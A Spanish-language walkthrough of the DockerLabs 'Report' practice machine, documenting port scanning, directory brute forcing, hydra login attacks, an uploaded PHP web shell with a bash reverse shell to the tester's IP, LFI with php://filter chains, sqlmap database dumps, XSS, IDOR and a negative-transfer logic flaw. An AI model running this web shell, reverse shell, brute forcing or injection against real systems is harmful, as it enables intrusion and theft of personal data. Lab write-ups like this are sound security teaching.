DockerLabs - Report
nmap
1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report]
└─$ nmap -p- -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report]
└─$ nmap -sCV -p22,80,3306 172.17.0.2
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 58:46:38:70:8c:d8:4a:89:93:07:b3:43:17:81:59:f1 (ECDSA)
|_ 256 25:99:39:02:52:4b:80:3f:aa:a8:9a:d4:8e:9a:eb:10 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Did not follow redirect to http://realgob.dl/
3306/tcp open mysql MariaDB 5.5.5-10.11.8
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.11.8-MariaDB-0ubuntu0.24.04.1
| Thread ID: 9
| Capabilities flags: 63486
| Some Capabilities: SupportsLoadDataLocal, Support41Auth, SupportsTransactions, Speaks41ProtocolOld, ODBCClient, InteractiveClient, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, SupportsCompression, LongColumnFlag, DontAllowDatabaseTableColumn, IgnoreSigpipes, ConnectWithDatabase, FoundRows, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
| Status: Autocommit
| Salt: qh6pS1:l6cr4K\m.=)RB
|_ Auth Plugin Name: mysql_native_password
análisis
Al acceder a la IP asignada al laboratorio, vemos que nos redirige al dominio realgob.dl:
Por ello, procedemos a agregar dicho dominio en el fichero /etc/hosts:
1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report]
└─$ cat /etc/hosts
...
172.17.0.2 realgob.dl
...
Si recargamos la pagina, veremos que ahora sí que nos carga correctamente:
Vemos que la página nos permite acceder con credenciales, pero debido a que no tenemos todavía nada por el estilo, procedemos a registrar una nueva cuenta:
Debemos rellenar el siguiente formulario y pinchar en el botón Registrar:
Una vez nos hayamos registrando, al acceder vemos que nos redirige automáticamente al perfil donde se lista la información que hemos aportado en el registro:
Mientras analizamos la página, dejaremos corriendo en segundo plano un escaneo por fuerza bruta de recursos empleando gobuster (aunque podemos emplear otros como wfuzz o dirbuster), el cual nos encuentra numerosos recursos que analizaremos uno por uno:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report]
└─$ gobuster dir -u "http://realgob.dl" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .php,.html,.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://realgob.dl
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/info.php (Status: 200) [Size: 76226]
/uploads (Status: 301) [Size: 310] [--> http://realgob.dl/uploads/]
/pages (Status: 301) [Size: 308] [--> http://realgob.dl/pages/]
/admin.php (Status: 200) [Size: 1005]
/assets (Status: 301) [Size: 309] [--> http://realgob.dl/assets/]
/index.php (Status: 200) [Size: 5048]
/includes (Status: 301) [Size: 311] [--> http://realgob.dl/includes/]
/images (Status: 301) [Size: 309] [--> http://realgob.dl/images/]
/about.php (Status: 200) [Size: 4939]
/database (Status: 301) [Size: 311] [--> http://realgob.dl/database/]
/api (Status: 301) [Size: 306] [--> http://realgob.dl/api/]
/logout.php (Status: 302) [Size: 0] [--> login.php]
/config.php (Status: 200) [Size: 0]
/noticias.php (Status: 200) [Size: 22]
/logs (Status: 301) [Size: 307] [--> http://realgob.dl/logs/]
/login.php (Status: 200) [Size: 4350]
/LICENSE (Status: 200) [Size: 0]
/contacto.php (Status: 200) [Size: 2893]
/important.txt (Status: 200) [Size: 1818]
/registro.php (Status: 200) [Size: 2445]
/desarrollo (Status: 301) [Size: 313] [--> http://realgob.dl/desarrollo/]
/server-status (Status: 403) [Size: 275]
/gestion.php (Status: 200) [Size: 0]
Progress: 882228 / 882228 (100.00%)
===============================================================
Finished
===============================================================
/info.php (Information Disclosure)
El recurso info.php vemos que se trata de un script que está ejecutando el comando phpinfo(), por lo que podemos ver información que no debería estar pública relacionada con la configuración de PHP de la máquina:
/uploads (Information Disclosure)
La carpeta uploads vemos que nos permite listar una serie de carpetas, las cuales podría contener información de clientes o documentos privados:
/admin.php (Insufficient Protection Against Brute-Force Attacks)
Encontramos un panel de autenticación en admin.php, el cual podemos intuir que es acceder a un panel con funcionalidades para administradores:
Probamos a acceder con las credenciales que tenemos tras registrarnos, pero vemos que no son correctas:
Procedemos a intentar obtener acceso al panel por fuerza bruta con hydra empleando un listado de usuarios y contraseñas comunes, el cual, pasado un rato, nos encuentra unas credenciales válidas:
1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report]
└─$ hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt realgob.dl http-post-form "/admin.php:username=^USER^&password=^PASS^:incorrectos" -I
[DATA] max 16 tasks per 1 server, overall 16 tasks, 22355 login tries (l:17/p:1315), ~1398 tries per task
[DATA] attacking http-post-form://realgob.dl:80/admin.php:username=^USER^&password=^PASS^:incorrectos
[80][http-post-form] host: realgob.dl login: admin password: a*******
/cargas.php (Unauthorized File Upload + RCE)
El recurso cargas.php vemos que nos permite subir ficheros al servidor:
Creamos un script en PHP que, si llegamos a poder subirlo, nos permitirá ejecutar comandos de forma remota:
1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report]
└─$ cat cmd.php
<?php
system($_GET['cmd']);
?>
Tratamos de subirlo, y vemos que nos indica que el script no tiene un formato permitido:
Por ello, interceptamos la petición con Burp Suite, la mandamos al Repeater, donde tras probar varias técnicas, vemos que si cambiamos el Content-Type a image/gif y agregamos la cabecera GIF8; (estas modificaciones son para hacer creer al servidor que lo que estamos subiendo es una imagen de tipo GIF) nos permite subir el script:
Al acceder a este fichero, e indicar el parámetro y el comando a ejecutar, vemos que efectivamente tenemos la posibilidad de ejecutar comandos remotamente:
Para poder tener una consola completamente funcional, en primer lugar debemos ponernos en escucha con nc, y ejecutamos el siguiente comando:
1
http://realgob.dl/uploads/cmd.php?cmd=bash -c 'bash -i >%26 /dev/tcp/<nuestra IP>/<el puerto> 0>%261'
En la consola deberíamos haber obtenido correctamente la conexión:
1
2
3
4
5
6
7
8
9
10
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 44774
www-data@d64220750c6a:/var/www/html/uploads$ whoami
whoami
www-data
www-data@d64220750c6a:/var/www/html/uploads$ hostname -I
hostname -I
172.17.0.2
Lo siguiente que haremos para obtener una consola completamente funcional será tratar la TTY para poder operar con mayor facilidad:
1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@d64220750c6a:/var/www/html/uploads$ script -c bash /dev/null
script -c bash /dev/null
Script started, output log file is '/dev/null'.
www-data@d64220750c6a:/var/www/html/uploads$ ^Z
zsh: suspended nc -nlvp 4444
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report]
└─$ stty raw -echo;fg
[1] + continued nc -nlvp 4444
reset xterm
www-data@d64220750c6a:/var/www/html/uploads$ export TERM=xterm
www-data@d64220750c6a:/var/www/html/uploads$ export SHELL=bash
www-data@d64220750c6a:/var/www/html/uploads$ stty rows 49 columns 210
/about.php (LFI)
Al acceder al recurso about.php veremos que se están cargando ficheros en la web haciendo referencia directa al nombre que tienen en el sistema:
En este tipo de situaciones, podemos alterar el fichero que se muestra por pantalla para ver otros que nos interese (empleando además otros ataques, como Directory Path Traversal Attack), como por ejemplo, el contenido del fichero /etc/passwd:
Tras revisar diferentes rutas de ficheros potencialmente interesantes, encontramos la ruta del fichero config.php, la cual normalmente contiene credenciales en texto claro, por lo que empleando un wrapper (código que permite realizar ciertas acciones no intencionadas en caso no haberse configurado correctamente) como el siguiente, el cual permite que el contenido de los scripts PHP no se interprete a la hora de explotar un LFI (Local File Inclusion) :
1
http://realgob.dl/about.php?file=php://filter/convert.iconv.utf8.utf16/resource=/var/www/html/config.php
Teniendo las credenciales de la base de datos del laboratorio, podemos llegar a conectarnos remotamente, ya la máquina tiene abierto el puerto 3306, permitiéndonos acceder desde nuestra máquina al gestor de bases de datos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report/php_filter_chain_generator]
└─$ mysql -h 172.17.0.2 -u root -p --ssl=0
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 603982
Server version: 10.11.8-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> use GOB_BD;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [GOB_BD]> select * from users;
+----+----------+--------------------------------------------------------------+---------------+----------+------------------------------+-----------+------------------------------------------+--------------+-------------+-----------+
| id | username | password | nombre | apellido | email | dni | direccion | telefono | saldo | no_cuenta |
+----+----------+--------------------------------------------------------------+---------------+----------+------------------------------+-----------+------------------------------------------+--------------+-------------+-----------+
| 1 | adan | $2y$10$IBfPR1/zhLbcjeMz42BY/O.Qb2smhr4UYdyaet3UUvrd/txDxwHQC | Adan | Martnez | adan@gmail.com | 12345678A | Calle de Ejemplo 123, Ciudad Ejemplo | +34123456789 | 57.00 | 89542776 |
| 4 | yahir | $2y$10$6d2LbTMyvhkloPQPUDl./e4SCDDMjp6eO9Qu62bS6C1VRkXeU501. | yahir | lopez | yahir23@gmail.com | 23123 | La direccion mas prra #24 Colonia Grillo | 2325124523 | 0.00 | 96271035 |
| 5 | joaquin | $2y$10$slvTyHz6jzbSt8Q3lejcCO3hSz/3lAZsWnH4.zJBRl83122M.zjz6 | joaquin | guzman | chapito@hotmail.com | V2F9SK4 | Av Lautaro Calle Celeste #24 | 938572245 | 150.00 | 12726850 |
| 6 | Felipe | $2y$10$fJhC6773D4IjdwtBq3JymeIRGCpGVYMZq23s7Lteq1NFeXVUhMozC | Felipe | Calderas | calder98@gmail.com | GS8GVS | Colonia Centro Matamoros #232 | 728592354 | 150.00 | 74821147 |
| 7 | Eduardo | $2y$10$Pv0A9MrBMJphE2J8t9ZZZu7f.hwq4MBq8ZRKqymAJbkF4eMAcDFey | Eduardo | Felix | lalomora@hotmail.com | FG9S72K8 | Colonia Hernandez Monroy Av Eulalio #153 | 9784712841 | 7.00 | 46126168 |
| 8 | Andrea | $2y$10$Hvr0/KwEIQQaMmUCWbXZFujw3/Zg4AGXDx2BcbFiOY0Y7IfqhURnC | Andrea | Casas | andycc2@gmail.com | F9S8GKA8 | Calle Av Universal Tamaulipas Centro #85 | 8237850302 | 7.00 | 34343017 |
| 9 | vaxei | $2y$10$IPffhz9cfTzFtRzBwFrapeare4J7HLYvfA3q/ZP8Xx9zRoBF8lQE6 | Vaxei | Lopez | usvaxei@gmail.com | 938F8kG8 | Circuito del carmen #592 Bol | 893858224 | 150.00 | 69878704 |
| 66 | admin | $2y$10$hX7a7qAbulmNFfgmDzJEPOlxZbzR3jpdIJbyglA56C4beY923B9tO | Administrador | | edo_administracion@gmail.com | | | | 14030327.00 | 99999999 |
| 68 | test | $2y$10$SV3gBMkmGpTkp.OWx4BIUul79zTO1/.8kL7ikjurwroN14lDxqBBK | test | test | test@test.com | x | x | x | 147.00 | 63600558 |
+----+----------+--------------------------------------------------------------+---------------+----------+------------------------------+-----------+------------------------------------------+--------------+-------------+-----------+
9 rows in set (0.001 sec)
MariaDB [GOB_BD]> select * from transacciones;
+----+---------+---------+----------------+------------------+---------------------+---------------+
| id | user_id | monto | cuenta_destino | descripcion | fecha | cuenta_origen |
+----+---------+---------+----------------+------------------+---------------------+---------------+
| 1 | 66 | 23.00 | 99999999 | pago predial | 2024-10-14 03:37:30 | |
| 2 | 7 | 23.00 | 99999999 | Pago Multa | 2024-10-14 04:26:58 | 46126168 |
| 3 | 7 | 120.00 | 99999999 | Deuda Escrituras | 2024-10-14 04:29:29 | 46126168 |
| 4 | 1 | 44.00 | 99999999 | rukaleta | 2024-10-14 04:47:10 | 89542776 |
| 5 | 1 | 9923.00 | 99999999 | vocuher insignia | 2024-10-14 04:59:49 | 89542776 |
| 6 | 1 | 9923.00 | 99999999 | vocuher insignia | 2024-10-14 05:00:29 | 89542776 |
| 7 | 1 | 50.00 | 99999999 | nomas | 2024-10-14 05:02:11 | 89542776 |
| 8 | 1 | 123.00 | 99999999 | extra | 2024-10-14 05:03:21 | 89542776 |
| 9 | 1 | 9923.00 | 99999999 | vocuher insignia | 2024-10-14 05:04:41 | 89542776 |
| 10 | 1 | 407.00 | 89542776 | concepto 2321 | 2024-10-14 05:04:46 | 89542776 |
| 11 | 1 | 407.00 | 89542776 | concepto 2321 | 2024-10-14 05:08:26 | 89542776 |
| 12 | 7 | 2.00 | 99999999 | rea | 2024-10-14 05:12:41 | 46126168 |
| 13 | 8 | 123.00 | 34343017 | real | 2024-10-14 05:15:24 | 34343017 |
| 14 | 8 | 23.00 | 34343017 | tarjeta nueva | 2024-10-14 05:17:44 | 34343017 |
| 15 | 8 | 123.00 | 34343017 | cheves | 2024-10-14 05:18:08 | 34343017 |
| 16 | 8 | 12.00 | 99999999 | magic | 2024-10-14 05:27:02 | 34343017 |
| 17 | 8 | 120.00 | 99999999 | concepto chidito | 2024-10-14 05:28:04 | 34343017 |
| 18 | 8 | 123.00 | 99999999 | descri | 2024-10-14 05:29:55 | 34343017 |
| 19 | 8 | 120.00 | 99999999 | redis | 2024-10-14 05:31:42 | 34343017 |
| 20 | 68 | 1.00 | 63600558 | test | XXXX-XX-XX XX:XX:XX | 63600558 |
| 21 | 68 | 1.00 | 63600558 | test | XXXX-XX-XX XX:XX:XX | 63600558 |
| 22 | 68 | 1.00 | 89542776 | test | XXXX-XX-XX XX:XX:XX | 63600558 |
+----+---------+---------+----------------+------------------+---------------------+---------------+
22 rows in set (0.001 sec)
Por otro lado, podemos emplear el siguiente script de python, el cual nos genera payloads empleando cadenas de filtros de PHP, los cuales permiten ejecutar comandos cuando encontremos casos de vulnerabilidades LFI, ya que estas cadenas se transforman posteriormente a texto claro:
1
2
3
4
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report]
└─$ python3 php_filter_chain_generator.py --chain "<?php system('id'); ?>"
[+] The following gadget chain will generate the following code : <?php system('id'); ?> (base64 value: PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg)
php://<payload final>
Indicamos el payload en la URL como valor del parámetro file:
/database (Information Disclosure)
Encontramos en el recurso database una serie de ficheros y una carpeta, los cuales, al revisarlo, vemos que se trata de la estructura de la base de datos definida en el servidor:
/api (Information Disclosure)
El recurso api también nos permite listar una serie de ficheros, pero en este caso relacionada con una posible API configurada:
Sin embargo, tras revisar la máquina, lo único que podemos indicar de este recurso es que está filtrando información confidencial:
/noticias.php (SQLi)
Descubrimos una vulnerabilidad SQLi (SQL Injection) en el recurso noticias.php:
Los pasos que hemos seguido para descubrir esta vulnerabilidad comienza tras interceptar una petición de carga del recurso noticias.php, y su almacenamiento en un fichero .txt con la opción Copy to file:
El fichero que contiene la petición se lo pasaremos a sqlmap para que, de manera automática, pruebe diferentes técnicas para explotar esta vulnerabilidad:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report]
└─$ sqlmap -r request.txt --level=5 --risk=3 --dbs --batch
___
__H__
___ ___[)]_____ ___ ___ {1.9.9#stable}
|_ -| . [,] | .`| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user`s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[XX:XX:XX] [INFO] parsing HTTP request from 'request.txt'
[XX:XX:XX] [INFO] resuming back-end DBMS 'mysql'
[XX:XX:XX] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1088=1088
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 3286 FROM (SELECT(SLEEP(5)))cmvc)
---
[XX:XX:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[XX:XX:XX] [INFO] fetching database names
[XX:XX:XX] [INFO] fetching number of databases
[XX:XX:XX] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[XX:XX:XX] [INFO] retrieved: 6
[XX:XX:XX] [INFO] retrieved: information_schema
[XX:XX:XX] [INFO] retrieved: GOB_BD
[XX:XX:XX] [INFO] retrieved: mysql
[XX:XX:XX] [INFO] retrieved: performance_schema
[XX:XX:XX] [INFO] retrieved: sys
[XX:XX:XX] [INFO] retrieved: noticias
available databases [6]:
[*] GOB_BD
[*] information_schema
[*] mysql
[*] noticias
[*] performance_schema
[*] sys
Habiendo confirmado la vulnerabilidad tras obtener un listado de las bases de datos existentes, procedemos a listar las tablas de la base de datos GOB_BD, la cual probablemente sea la que se emplea en la página web del servidor:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report]
└─$ sqlmap -r request.txt --level=5 --risk=3 -D GOB_BD --tables --batch
___
__H__
___ ___[,]_____ ___ ___ {1.9.9#stable}
|_ -| . [`] | .`| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user`s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[XX:XX:XX] [INFO] parsing HTTP request from 'request.txt'
[XX:XX:XX] [INFO] resuming back-end DBMS 'mysql'
[XX:XX:XX] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1088=1088
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 3286 FROM (SELECT(SLEEP(5)))cmvc)
---
[XX:XX:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[XX:XX:XX] [INFO] fetching tables for database: 'GOB_BD'
[XX:XX:XX] [INFO] fetching number of tables for database 'GOB_BD'
[XX:XX:XX] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[XX:XX:XX] [INFO] retrieved: 2
[XX:XX:XX] [INFO] retrieved: users
[XX:XX:XX] [INFO] retrieved: transacciones
Database: GOB_BD
[2 tables]
+---------------+
| transacciones |
| users |
+---------------+
Una vez sabemos cuales son las tablas, obtenemos las columnas de la tabla users, ya que podría tener información crítica:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report]
└─$ sqlmap -r request.txt --level=5 --risk=3 -D GOB_BD -T users --columns --batch
___
__H__
___ ___[,]_____ ___ ___ {1.9.9#stable}
|_ -| . [(] | .`| . |
|___|_ [`]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user`s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[XX:XX:XX] [INFO] parsing HTTP request from 'request.txt'
[XX:XX:XX] [INFO] resuming back-end DBMS 'mysql'
[XX:XX:XX] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1088=1088
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 3286 FROM (SELECT(SLEEP(5)))cmvc)
---
[XX:XX:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[XX:XX:XX] [INFO] fetching columns for table 'users' in database 'GOB_BD'
[XX:XX:XX] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[XX:XX:XX] [INFO] retrieved: 11
[XX:XX:XX] [INFO] retrieved: id
[XX:XX:XX] [INFO] retrieved: int(11)
[XX:XX:XX] [INFO] retrieved: username
[XX:XX:XX] [INFO] retrieved: varchar(50)
[XX:XX:XX] [INFO] retrieved: password
[XX:XX:XX] [INFO] retrieved: varchar(255)
[XX:XX:XX] [INFO] retrieved: nombre
[XX:XX:XX] [INFO] retrieved: varchar(100)
[XX:XX:XX] [INFO] retrieved: apellido
[XX:XX:XX] [INFO] retrieved: varchar(100)
[XX:XX:XX] [INFO] retrieved: email
[XX:XX:XX] [INFO] retrieved: varchar(100)
[XX:XX:XX] [INFO] retrieved: dni
[XX:XX:XX] [INFO] retrieved: varchar(20)
[XX:XX:XX] [INFO] retrieved: direccion
[XX:XX:XX] [INFO] retrieved: varchar(255)
[XX:XX:XX] [INFO] retrieved: telefono
[XX:XX:XX] [INFO] retrieved: varchar(20)
[XX:XX:XX] [INFO] retrieved: saldo
[XX:XX:XX] [INFO] retrieved: decimal(10,2)
[XX:XX:XX] [INFO] retrieved: no_cuenta
[XX:XX:XX] [INFO] retrieved: varchar(8)
Database: GOB_BD
Table: users
[11 columns]
+-----------+---------------+
| Column | Type |
+-----------+---------------+
| apellido | varchar(100) |
| direccion | varchar(255) |
| dni | varchar(20) |
| email | varchar(100) |
| id | int(11) |
| no_cuenta | varchar(8) |
| nombre | varchar(100) |
| password | varchar(255) |
| saldo | decimal(10,2) |
| telefono | varchar(20) |
| username | varchar(50) |
+-----------+---------------+
Sabiendo las columnas, procedemos a extraer los usuarios y las contraseñas:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report]
└─$ sqlmap -r request.txt --level=5 --risk=3 -D GOB_BD -T users -C username,password --dump --batch
___
__H__
___ ___[)]_____ ___ ___ {1.9.9#stable}
|_ -| . [`] | .`| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user`s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[XX:XX:XX] [INFO] parsing HTTP request from 'request.txt'
[XX:XX:XX] [INFO] resuming back-end DBMS 'mysql'
[XX:XX:XX] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1088=1088
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 3286 FROM (SELECT(SLEEP(5)))cmvc)
---
[XX:XX:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[XX:XX:XX] [INFO] fetching entries of column(s) 'password,username' for table 'users' in database 'GOB_BD'
[XX:XX:XX] [INFO] fetching number of column(s) 'password,username' entries for table 'users' in database 'GOB_BD'
Database: GOB_BD
Table: users
[9 entries]
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| yahir | $2y$10$6d2L************************************************* |
| Felipe | $2y$10$fJhC************************************************* |
| Andrea | $2y$10$Hvr0************************************************* |
| admin | $2y$10$hX7a************************************************* |
| adan | $2y$10$IBfP************************************************* |
| vaxei | $2y$10$IPff************************************************* |
| Eduardo | $2y$10$Pv0A************************************************* |
| joaquin | $2y$10$slvT************************************************* |
| test | $2y$10$SV3g************************************************* |
+----------+--------------------------------------------------------------+
Con esta información, ahora podemos tratar de obtener las credenciales por fuerza bruta empleando herramientas como john o HashCat.
/logs (Information Disclosure)
Aquí encontramos un par de ficheros, los cuales contienen cierta información relacionada con el servidor web, pero, tras analizarlos, no encontramos nada relevante.
En caso de que estos ficheros fuesen los ficheros de log empleados por el servidor web, se podría haber llegado a explotar vulnerabilidades como, por ejemplo, Log Poisoning (envenenar peticiones para introducir texto que, al listar el contenido de un log, se interprete y permita ejecutar comandos).
/login.php (Users Enumeration by Brute Force)
En el panel de autenticación (login.php) encontramos que se pueden llegar a listar los usuarios existentes empleando fuerza bruta, ya que según si el usuario existe o no, el mensaje que nos devuelve es diferente.
Si el usuario no existe, indica que el nombre de usuario no se ha encontrado:
Mientras que si tratamos de acceder con un usuario existente (el cual creamos anteriormente), vemos que indica que la contraseña no es correcta:
Por este motivo, con herramientas como hydra podemos obtener un listado de usuarios existente:
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Report]
└─$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -p qwerty realgob.dl http-post-form "/login.php:username=^USER^&password=^PASS^:encontrado"
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra)
[DATA] max 16 tasks per 1 server, overall 16 tasks, 8295455 login tries (l:8295455/p:1), ~518466 tries per task
[DATA] attacking http-post-form://realgob.dl:80/login.php:username=^USER^&password=^PASS^:encontrado
[80][http-post-form] host: realgob.dl login: admin password: qwerty
[80][http-post-form] host: realgob.dl login: andrea password: qwerty
[80][http-post-form] host: realgob.dl login: eduardo password: qwerty
[80][http-post-form] host: realgob.dl login: felipe password: qwerty
[80][http-post-form] host: realgob.dl login: joaquin password: qwerty
[80][http-post-form] host: realgob.dl login: adan password: qwerty
/contacto.php (XSS)
El recurso contacto.php permite rellenar un formulario, pero no verifica el input del usuario:
Por ello, concluimos que los dos campos (nombre y mensaje) son vulnerables a inyecciones XSS (Cross-Site Scripting):
/important.txt
En important.txt encontramos un mensaje que ha dejado el creador del laboratorio donde hace algunas aclaraciones con respecto a como enfocar la resolución del mismo:
/registro.php (Users Enumeration by Brute Force)
Al igual que pasaba con el formulario de autenticación login.php, podemos emplear el formulario de registro.php para obtener por fuerza bruta los usuarios ya registrados del sistema:
/transferencia.php (Business Logic Integer Underflow)
Tras probar la funcionalidad de transferencia.php, nos daremos cuenta de que hay varias vulnerabilidades a la hora de realizar una transferencia.
Tenemos, por un lado nuestra cuenta, que es la que creamos anteriormente, la cual tiene una cierta cantidad de dinero:
Y por otro lado tenemos la siguiente cuenta, que tiene la siguiente cantidad de dinero, diferente a la nuestra:
Tratamos de realizar una transferencia desde nuestra cuenta a la otra cuenta, pero empleando un número negativo:
Si volvemos a mirar el balance de nuestra cuenta, veremos que ha aumentado la cantidad que indicamos en la transferencia:
Y en la otra cuenta veremos que ahora el valor es negativo:
Esto significa que la aplicación tiene dos vulnerabilidades en las transferencias:
- Permite indicar valores negativo, lo que implica la sustracción de saldo de una cuenta a otra.
- No valida el saldo del usuario al que se le está haciendo la transferencia, lo que permite, junto con la anterior vulnerabilidad, aumentar sin límite el saldo de una cuenta.
/edo_cuenta.php (IDOR)
El recurso edo_cuenta.php es el que nos lista la información de la cuenta, el cual vemos que acepta el parámetro id.
Para poder probar si el recurso es vulnerable a un IDOR (Insecure Direct Object Reference), revisamos con wfuzz todos los IDs que nos devuelven un código de estado exitoso:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
